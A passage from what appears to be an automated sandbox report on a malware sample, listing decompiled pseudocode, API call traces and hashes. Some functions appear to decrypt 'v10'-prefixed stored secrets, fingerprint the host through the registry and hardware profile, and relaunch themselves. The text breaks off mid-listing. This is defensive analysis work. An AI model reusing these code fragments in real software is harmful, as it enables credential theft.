Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 9f40ca25f5a3ec3b26c5a317c37b390bac11bb664fe97661c3bbb8a15347b8b4
Instruction ID: 4806281024cf892df001f217e22b508f46e279854f8b30cdef803a4c5b02db50
Opcode Fuzzy Hash: 9f40ca25f5a3ec3b26c5a317c37b390bac11bb664fe97661c3bbb8a15347b8b4
Instruction Fuzzy Hash: 49611BB4A0020ADFEB14CF54D585BAEB7B1BB04315F208259E9156B3D1D378EE81CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00581D80, Relevance: 7.7, APIs: 5, Instructions: 156COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 00581DF4

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 71429949b35bca6c2b28703409f240b6d994fc7f714cc6e6faf466484dc4969f
Instruction ID: 05546da3611c17ea113d7ad275a3f2e1062e0468cd3245a7f5db405aeee964b5
Opcode Fuzzy Hash: 71429949b35bca6c2b28703409f240b6d994fc7f714cc6e6faf466484dc4969f
Instruction Fuzzy Hash: A4610BB4A0120ADFDB14DF54C544BAEBBB5BB04314F208658E905BB381C774EE82CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00407230, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 104
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 24%

			E00407230(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				void _v76;
				long _v80;
				void* _v84;
				int _v88;
				char _v5092;
				void* _t58;
				void* _t94;

				E004139B0(0x13e0, __ecx);
				if(_a8 < 3) {
					L10:
					return E00407190(_a4, _a8);
				}
				asm("repe cmpsb");
				if(0 != 0) {
					goto L10;
				}
				if(((0 | _a12 != 0x00000000) & (0 | _a16 != 0x00000000)) == 0) {
					return 0x4191a0;
				}
				memset( &_v76, 0, 0x40);
				_v76 = 0x40;
				_v72 = 1;
				_v68 = _a4 + 3;
				_v64 = 0xc;
				_v52 = _v68 + _a8 - 0x13;
				_v48 = 0x10;
				_v80 = _a8 - 3 - _v64 - _v48;
				_t58 = LocalAlloc(0x40, _v80);
				_v84 = _t58;
				if(_v84 == 0) {
					return _t58;
				}
				_v88 = 0;
				_v8 =  *0x41aa60(_a16, _v68 + _v64, _v80,  &_v76, 0, 0, _v84, _v80,  &_v88, 0);
				if(_v8 < 0) {
					return 0x4191a0;
				}
				E0040B720( &_v5092, 0x1388);
				 *0x41aa24( &_v5092, _v84);
				 *((char*)(_t94 + _v88 - 0x13e0)) = 0;
				return  &_v5092;
			}

0x00407238
0x00407243
0x00407364
0x00000000
0x00407371
0x00407258
0x0040725a
0x00000000
0x00000000
0x00407274
0x00000000
0x0040735b
0x00407282
0x0040728a
0x00407291
0x0040729e
0x004072a1
0x004072b2
0x004072b5
0x004072c8
0x004072d1
0x004072d7
0x004072de
0x00000000
0x00407359
0x004072e0
0x00407312
0x00407319
0x00000000
0x00407352
0x00407327
0x00407337
0x00407340
0x00000000

APIs

memset.MSVCRT ref: 00407282
LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
lstrcat.KERNEL32(?,00000000), ref: 00407337

Strings

v10, xrefs: 0040724E
@, xrefs: 0040728A

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: AllocLocallstrcatmemset
String ID: @$v10
API String ID: 4123878530-24753345
Opcode ID: 1d3fa7b3dbb26fb9b049f7610d81cb1348bb2620b3692f3626651eae948cc07e
Instruction ID: 61f64e7557948a46b50732eb2c11968d7e6d1a4f1abee3a4cf4d88c7128a29d2
Opcode Fuzzy Hash: 1d3fa7b3dbb26fb9b049f7610d81cb1348bb2620b3692f3626651eae948cc07e
Instruction Fuzzy Hash: D24150B1E04208EBEB14CFD4D884BDEB7B4FF48344F048169F905AB284D778AA45DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00577480, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 104memorystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 005774D2
LocalAlloc.KERNEL32(00000040,?), ref: 00577521
lstrcat.KERNEL32(?,00000000), ref: 00577587

Strings

@, xrefs: 005774DA
v10, xrefs: 0057749E

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: AllocLocallstrcatmemset
String ID: @$v10
API String ID: 4123878530-24753345
Opcode ID: d133a81001bef52ef4905997addc9da99a5f8824d4606433a0d426c6760a33b5
Instruction ID: 8f077f1490fc8d4ea5ace79c33a85683bc5d42e36d1b4b3821d9dfb1753db2fb
Opcode Fuzzy Hash: d133a81001bef52ef4905997addc9da99a5f8824d4606433a0d426c6760a33b5
Instruction Fuzzy Hash: 47412871A0420CABDB14CFD8E854BEDBBB5BF48340F148169F609AB280D774AA45DB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040B5C0, Relevance: 7.6, APIs: 5, Instructions: 50
stringCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E0040B5C0(void* __eflags, char* _a4) {
				int _v8;
				int _v12;
				int _v16;
				void* _t50;

				_t50 = __eflags;
				_v12 = MultiByteToWideChar(0, 0, _a4,  *0x41a908(0), _a4, 0);
				_v16 = E0040B590( ~(0 | _t50 > 0x00000000) | (_v12 + 0x00000001) * 0x00000002,  ~(0 | _t50 > 0x00000000) | (_v12 + 0x00000001) * 0x00000002);
				_v8 = _v16;
				MultiByteToWideChar(0, 0, _a4,  *0x41a908(_v12), _a4, _v8);
				 *((short*)(_v8 + _v12 * 2)) = 0;
				return _v8;
			}

0x0040b5c0
0x0040b5e3
0x0040b605
0x0040b60b
0x0040b629
0x0040b637
0x0040b641

APIs

lstrlen.KERNEL32(00000080,00000000,00000000,00000002,00000080,00000000), ref: 0040B5CE
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0040B5DD
new[].LIBCMTD ref: 0040B5FD
lstrlen.KERNEL32(?,?,?), ref: 0040B61A
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0040B629

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen$new[]
String ID:
API String ID: 4156461339-0
Opcode ID: bcc2d0ee6c9e6d66abe1afca29a4e1eb62fb6bff9411518d967b05a7183445a3
Instruction ID: 4e01539bb3d2c282a73af516c558e114f3eec2120aea2764bae626352bcff954
Opcode Fuzzy Hash: bcc2d0ee6c9e6d66abe1afca29a4e1eb62fb6bff9411518d967b05a7183445a3
Instruction Fuzzy Hash: 000104B5A01108BFDB44DFA8DD46F9E7BB8EF4C304F108158F509DB290D671AA518B55

Uniqueness

Uniqueness Score: -1.00%

Function 0057B810, Relevance: 7.6, APIs: 5, Instructions: 50stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,00000000,00000003,00000000,00000000,?), ref: 0057B81E
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0057B82D
new[].LIBCMTD ref: 0057B84D
lstrlen.KERNEL32(?,?,?), ref: 0057B86A
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0057B879

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen$new[]
String ID:
API String ID: 4156461339-0
Opcode ID: 56f75f690b4901e2c4a4253c133e8f5cdaa2a479b23792dede6667cee38b773e
Instruction ID: 84936bdbbf537a02c2aba2f767d50f0b113fe37a05aada66248108d967c2a374
Opcode Fuzzy Hash: 56f75f690b4901e2c4a4253c133e8f5cdaa2a479b23792dede6667cee38b773e
Instruction Fuzzy Hash: 8B0144B5A01108BFDB04DFA8DC4AF9E7BB8EF4C300F108058F509DB290D671AA518B55

Uniqueness

Uniqueness Score: -1.00%

Function 0040B240, Relevance: 7.5, APIs: 5, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B240() {
				void* _v8;
				int _v12;
				void* _v16;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a610; // 0x786bf8
				if(RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8) == 0) {
					_t19 =  *0x41a1f4; // 0x789038
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12);
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040b246
0x0040b261
0x0040b26f
0x0040b283
0x0040b291
0x0040b29c
0x0040b29c
0x0040b2a6
0x0040b2b2

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B254
RtlAllocateHeap.NTDLL(00000000), ref: 0040B25B
RegOpenKeyExA.ADVAPI32(80000002,00786BF8,00000000,00020119,?), ref: 0040B27B
RegQueryValueExA.ADVAPI32(?,00789038,00000000,00000000,?,000000FF), ref: 0040B29C
RegCloseKey.ADVAPI32(?), ref: 0040B2A6

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction ID: 923f0571c0864a17576b372675103fc2b24e7fdb5a8175b3b8f490f686ce64a9
Opcode Fuzzy Hash: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction Fuzzy Hash: 70013CB5A41208BBDB00DBE0DD49FEEB7B8EB48700F0085A8FA05A7291D6745A508B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040B090, Relevance: 7.5, APIs: 5, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B090() {
				void* _v8;
				int _v12;
				void* _v16;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a3f4; // 0x789fb8
				if(RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8) == 0) {
					_t19 =  *0x41a4dc; // 0x7890f8
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12);
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040b096
0x0040b0b1
0x0040b0bf
0x0040b0d3
0x0040b0e1
0x0040b0ec
0x0040b0ec
0x0040b0f6
0x0040b102

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B0A4
RtlAllocateHeap.NTDLL(00000000), ref: 0040B0AB
RegOpenKeyExA.ADVAPI32(80000002,00789FB8,00000000,00020119,?), ref: 0040B0CB
RegQueryValueExA.ADVAPI32(?,007890F8,00000000,00000000,?,000000FF), ref: 0040B0EC
RegCloseKey.ADVAPI32(?), ref: 0040B0F6

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction ID: f8a54f85ee1b8cfc6e3047c75a8daca849fb19f3d1c37cdae7566096d66fd71d
Opcode Fuzzy Hash: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction Fuzzy Hash: 4C014FB5A41208BFD700DFE0DD49FEEB7B8EB48700F00C568FA05A7291D6745A50CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0057B490, Relevance: 7.5, APIs: 5, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0057B4A4
RtlAllocateHeap.NTDLL(00000000), ref: 0057B4AB
RegOpenKeyExA.ADVAPI32(80000002,0041A610,00000000,00020119,00575CA8), ref: 0057B4CB
RegQueryValueExA.ADVAPI32(00575CA8,0041A1F4,00000000,00000000,?,000000FF), ref: 0057B4EC
RegCloseKey.ADVAPI32(00575CA8), ref: 0057B4F6

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction ID: ec09ccc2f6131ce2a7688631d885bb1d991601c9b80f82b389e50eac112d2265
Opcode Fuzzy Hash: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction Fuzzy Hash: 23013CB5A41208BBEB00DBE0ED49FEEB7B8EB48700F008568FA05A7291D6745A508B55

Uniqueness

Uniqueness Score: -1.00%

Function 0040B2C0, Relevance: 7.5, APIs: 5, Instructions: 30
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E0040B2C0() {
				struct tagHW_PROFILE_INFOA _v132;
				void* _v136;

				if(GetCurrentHwProfileA( &_v132) == 0) {
					return 0x4191a0;
				}
				_v136 = RtlAllocateHeap(GetProcessHeap(), 0, 0x64);
				memset(_v136, 0, 4);
				 *0x41aa24(_v136,  &(_v132.szHwProfileGuid));
				return _v136;
			}

0x0040b2d5
0x00000000
0x0040b31a
0x0040b2e8
0x0040b2f9
0x0040b30a
0x00000000

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 0040B2CD
GetProcessHeap.KERNEL32(00000000,00000064), ref: 0040B2DB
RtlAllocateHeap.NTDLL(00000000), ref: 0040B2E2
memset.NTDLL ref: 0040B2F9
lstrcat.KERNEL32(?,?), ref: 0040B30A

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: Heap$AllocateCurrentProcessProfilelstrcatmemset
String ID:
API String ID: 4122951905-0
Opcode ID: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction ID: 53f97c33c887665c50d9d4951fdbbfd19b7c782c8dc218844e441fa5d8454051
Opcode Fuzzy Hash: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction Fuzzy Hash: 8FF05470A012099BDB20ABA4DD09B9977BCFB44701F008565FB45D7281DB359951CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0057B510, Relevance: 7.5, APIs: 5, Instructions: 30memorystringCOMMON

Download Yara Rule

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 0057B51D
GetProcessHeap.KERNEL32(00000000,00000064), ref: 0057B52B
RtlAllocateHeap.NTDLL(00000000), ref: 0057B532
memset.NTDLL ref: 0057B549
lstrcat.KERNEL32(?,?), ref: 0057B55A

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: Heap$AllocateCurrentProcessProfilelstrcatmemset
String ID:
API String ID: 4122951905-0
Opcode ID: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction ID: 5f71a241a76f3635678de24c283b03e56149f00c47b988acad51c1f2b8568a22
Opcode Fuzzy Hash: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction Fuzzy Hash: 96F05E70A01209ABEB20AFA4DE09B9977B8BB08705F00C5A4F709D7190DB359950CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00435C84, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00435EC5
__aulldiv.LIBCMT ref: 00435EE7

Strings

9, xrefs: 00435EF8
0, xrefs: 00435CB3

Memory Dump Source

Source File: 00000014.00000002.410499533.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_42e000_C29C.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 0$9
API String ID: 3839614884-1975997740
Opcode ID: fe32d38b610a3b3153e5a4f68af180b9b30bf65ac19318c766942227b1b7b699
Instruction ID: d0ff65fd8b3b1b9890fee81c56f001479fab1f89517dd9c0670738b5b13659a1
Opcode Fuzzy Hash: fe32d38b610a3b3153e5a4f68af180b9b30bf65ac19318c766942227b1b7b699
Instruction Fuzzy Hash: C141F4B1D15628DFDB24CF58C889BAEB7B5BB48304F24959AE419A7240C7389E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0043D0A9, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 0043D2E0
__aulldiv.LIBCMT ref: 0043D302

Strings

9, xrefs: 0043D313
', xrefs: 0043D0A9

Memory Dump Source

Source File: 00000014.00000002.410499533.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_42e000_C29C.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: '$9
API String ID: 3839614884-1823400153
Opcode ID: 11b54eb4441ac92232ebeff5d94e6ddf2aab63c7eb60bb81892d03c19eacdfa3
Instruction ID: 81141134a6a4216bd73d5ffa37fb51d537e7626458054d2df8986a7f3f7b1b96
Opcode Fuzzy Hash: 11b54eb4441ac92232ebeff5d94e6ddf2aab63c7eb60bb81892d03c19eacdfa3
Instruction Fuzzy Hash: 3A41F3B1E002299FDB24CF58D941BAFB7B5FF89314F1051DAA148AB241C7789E81CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 004124F0, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 100
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004124F0(intOrPtr __ecx, void* _a4, char _a8) {
				int _v8;
				int _v12;
				char _v16;
				intOrPtr _v20;

				_v20 = __ecx;
				if( *((intOrPtr*)(_v20 + 0x84)) == 0) {
					if( *(_v20 + 0x7c) == 0) {
						 *((intOrPtr*)(_v20 + 0x14)) = 0x1000000;
						return 0;
					}
					_t42 =  &_v16; // 0x412876
					_t43 =  &_a8; // 0x412876
					_v12 = ReadFile( *(_v20 + 0x7c), _a4,  *_t43, _t42, 0);
					if(_v12 != 0) {
						_t51 =  &_v16; // 0x412876
						 *((intOrPtr*)(_v20 + 0x74)) =  *((intOrPtr*)(_v20 + 0x74)) +  *_t51;
						_t54 =  &_v16; // 0x412876
						 *((intOrPtr*)(_v20 + 0x78)) = E00411280( *((intOrPtr*)(_v20 + 0x78)), _a4,  *_t54);
						_t60 =  &_v16; // 0x412876
						return  *_t60;
					}
					return 0;
				}
				if( *((intOrPtr*)(_v20 + 0x8c)) <  *((intOrPtr*)(_v20 + 0x88))) {
					_v8 =  *((intOrPtr*)(_v20 + 0x88)) -  *((intOrPtr*)(_v20 + 0x8c));
					_t14 =  &_a8; // 0x412876
					if(_v8 >  *_t14) {
						_t15 =  &_a8; // 0x412876
						_v8 =  *_t15;
					}
					memcpy(_a4,  *((intOrPtr*)(_v20 + 0x84)) +  *((intOrPtr*)(_v20 + 0x8c)), _v8);
					 *((intOrPtr*)(_v20 + 0x8c)) =  *((intOrPtr*)(_v20 + 0x8c)) + _v8;
					 *((intOrPtr*)(_v20 + 0x74)) =  *((intOrPtr*)(_v20 + 0x74)) + _v8;
					 *((intOrPtr*)(_v20 + 0x78)) = E00411280( *((intOrPtr*)(_v20 + 0x78)), _a4, _v8);
					return _v8;
				}
				return 0;
			}

0x004124f6
0x00412503
0x004125b7
0x00412617
0x00000000
0x0041261e
0x004125bb
0x004125bf
0x004125d4
0x004125db
0x004125e7
0x004125ed
0x004125f0
0x0041260a
0x0041260d
0x00000000
0x0041260d
0x00000000
0x004125dd
0x0041251b
0x00412536
0x0041253c
0x0041253f
0x00412541
0x00412544
0x00412544
0x00412562
0x00412577
0x00412589
0x004125a6
0x00000000
0x004125a9
0x00000000

APIs

memcpy.NTDLL(?,?,00004000,?,00412876,?,00004000), ref: 00412562
ReadFile.KERNEL32(00000000,?,v(A,v(A,00000000,?,00412876,?,00004000), ref: 004125CE

Strings

v(A, xrefs: 004125BF, 0041253C, 00412541, 004125C2
v(A, xrefs: 004125BB, 004125E7, 004125F0, 0041260D, 004125BE, 004125F3

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: FileReadmemcpy
String ID: v(A$v(A
API String ID: 1163090680-3205644266
Opcode ID: 7275ca954cdc286a3f8e939b103dc98b6529853cd61c34709e59e34097809bab
Instruction ID: 57ccbe00efff64c7029569c4514cc3a27c1a1315352579a716a79c0d7299f08d
Opcode Fuzzy Hash: 7275ca954cdc286a3f8e939b103dc98b6529853cd61c34709e59e34097809bab
Instruction Fuzzy Hash: 5641BAB5A00119EFCB44CF94C980EEEB7B6BF48304F108569E429D7351D735E951DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040BFA0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040BFA0(void* __ecx) {
				struct HINSTANCE__* _v32;
				struct HINSTANCE__* _v36;
				struct HINSTANCE__* _v40;
				CHAR* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				struct HINSTANCE__* _v56;
				struct HINSTANCE__* _v60;
				char _v64;
				char _v332;
				char _v596;
				CHAR* _t37;
				intOrPtr _t38;
				intOrPtr _t43;

				E0040B720( &_v596, 0x104);
				E0040B720( &_v332, 0x104);
				GetModuleFileNameA(0,  &_v332, 0x104);
				_t37 =  *0x41a2c4; // 0x78ac80
				wsprintfA( &_v596, _t37,  &_v332);
				E0040B6E0(_t37,  &_v64, 0, 0x3c);
				_v64 = 0x3c;
				_v60 = 0;
				_v56 = 0;
				_t38 =  *0x41a694; // 0x770410
				_v52 = _t38;
				_t43 =  *0x41a770; // 0x786a90
				_v48 = _t43;
				_v44 =  &_v596;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				 *0x41aa84( &_v64);
				E0040B720( &_v64, 0x3c);
				E0040B720( &_v596, 0x104);
				return E0040B720( &_v332, 0x104);
			}

0x0040bfb5
0x0040bfc6
0x0040bfd9
0x0040bfe6
0x0040bff4
0x0040c005
0x0040c00a
0x0040c011
0x0040c018
0x0040c01f
0x0040c025
0x0040c028
0x0040c02e
0x0040c037
0x0040c03a
0x0040c041
0x0040c048
0x0040c053
0x0040c05f
0x0040c070
0x0040c089

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000104,?,00000104), ref: 0040BFD9
wsprintfA.USER32 ref: 0040BFF4
ShellExecuteEx.SHELL32(0000003C), ref: 0040C053

Strings

<, xrefs: 0040C00A

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: ExecuteFileModuleNameShellwsprintf
String ID: <
API String ID: 690967290-4251816714
Opcode ID: 0d3fa1aa40dd4b54a01f72a3a6220bdd8af4e0c74f435e2c109b568a61a03135
Instruction ID: b6c0095fef0d0179f9846f7a94a4eacab4548b86fc187f3e8670100f81996cfc
Opcode Fuzzy Hash: 0d3fa1aa40dd4b54a01f72a3a6220bdd8af4e0c74f435e2c109b568a61a03135
Instruction Fuzzy Hash: 5D21EDB1900208ABDB14EFA0DC89FDEB778EB48705F00456AF214B61D1DBB95648CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0057C1F0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000104,?,00000104), ref: 0057C229
wsprintfA.USER32 ref: 0057C244
ShellExecuteEx.SHELL32(0000003C), ref: 0057C2A3

Strings

<, xrefs: 0057C25A

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: ExecuteFileModuleNameShellwsprintf
String ID: <
API String ID: 690967290-4251816714
Opcode ID: cc4ab47e39a32b177838befeb9b88c04774d03333c1683d2c599034bba0e339c
Instruction ID: c3b3d1274caff4a0d0bf991fa0d55e1df04aa22fec51f87cd9cf7541773e938f
Opcode Fuzzy Hash: cc4ab47e39a32b177838befeb9b88c04774d03333c1683d2c599034bba0e339c
Instruction Fuzzy Hash: F621F1B190020CABEB54EFE0EC89FDE77B8BB44701F008559F318A6191DBB55688CF99

Uniqueness

Uniqueness Score: -1.00%

Function 004120F0, Relevance: 6.1, APIs: 4, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004120F0(intOrPtr __ecx, void* _a4, long _a8) {
				long _v8;
				intOrPtr _v12;
				struct _FILETIME _v20;
				signed short _v24;
				signed short _v28;
				struct _SYSTEMTIME _v44;
				intOrPtr _v48;
				intOrPtr _t88;
				intOrPtr _t89;
				intOrPtr _t115;
				intOrPtr _t117;
				long _t130;
				intOrPtr _t131;
				intOrPtr _t132;

				_v48 = __ecx;
				 *(_v48 + 0x7c) = 0;
				 *(_v48 + 0x84) = 0;
				 *((char*)(_v48 + 0x80)) = 0;
				 *(_v48 + 0x78) = 0;
				 *(_v48 + 0x70) = 0;
				 *(_v48 + 0x90) = 0;
				 *(_v48 + 0x74) = 0;
				if(_a4 == 0 || _a4 == 0xffffffff) {
					return 0x10000;
				} else {
					_v8 = SetFilePointer( *(_v48 + 4), 0, 0, 1);
					if(_v8 == 0xffffffff) {
						 *((intOrPtr*)(_v48 + 0x4c)) = 0x80000000;
						 *(_v48 + 0x70) = 0xffffffff;
						if(_a8 != 0) {
							 *(_v48 + 0x70) = _a8;
						}
						 *((char*)(_v48 + 0x6c)) = 0;
						GetLocalTime( &_v44);
						SystemTimeToFileTime( &_v44,  &_v20);
						_t130 = _v20.dwLowDateTime;
						E00411670(_t130, _v20.dwHighDateTime,  &_v28,  &_v24);
						_t88 = E00411630(_v20.dwLowDateTime, _v20.dwHighDateTime);
						_t115 = _v48;
						 *((intOrPtr*)(_t115 + 0x50)) = _t88;
						 *(_t115 + 0x54) = _t130;
						_t131 = _v48;
						_t89 = _v48;
						 *((intOrPtr*)(_t131 + 0x58)) =  *((intOrPtr*)(_t89 + 0x50));
						 *((intOrPtr*)(_t131 + 0x5c)) =  *((intOrPtr*)(_t89 + 0x54));
						_t117 = _v48;
						_t132 = _v48;
						 *((intOrPtr*)(_t117 + 0x60)) =  *((intOrPtr*)(_t132 + 0x50));
						 *((intOrPtr*)(_t117 + 0x64)) =  *((intOrPtr*)(_t132 + 0x54));
						 *(_v48 + 0x68) = _v24 & 0x0000ffff | (_v28 & 0x0000ffff) << 0x00000010;
						 *(_v48 + 0x7c) = _a4;
						return 0;
					}
					_v12 = E00411720(_a4, _v48 + 0x4c, _v48 + 0x70, _v48 + 0x50, _v48 + 0x68);
					if(_v12 == 0) {
						SetFilePointer(_a4, 0, 0, 0);
						 *((char*)(_v48 + 0x6c)) = 1;
						 *(_v48 + 0x7c) = _a4;
						return 0;
					}
					return _v12;
				}
			}

0x004120f6
0x004120fc
0x00412106
0x00412113
0x0041211d
0x00412127
0x00412131
0x0041213e
0x00412149
0x00000000
0x0041215b
0x0041216e
0x00412175
0x004121df
0x004121e9
0x004121f4
0x004121fc
0x004121fc
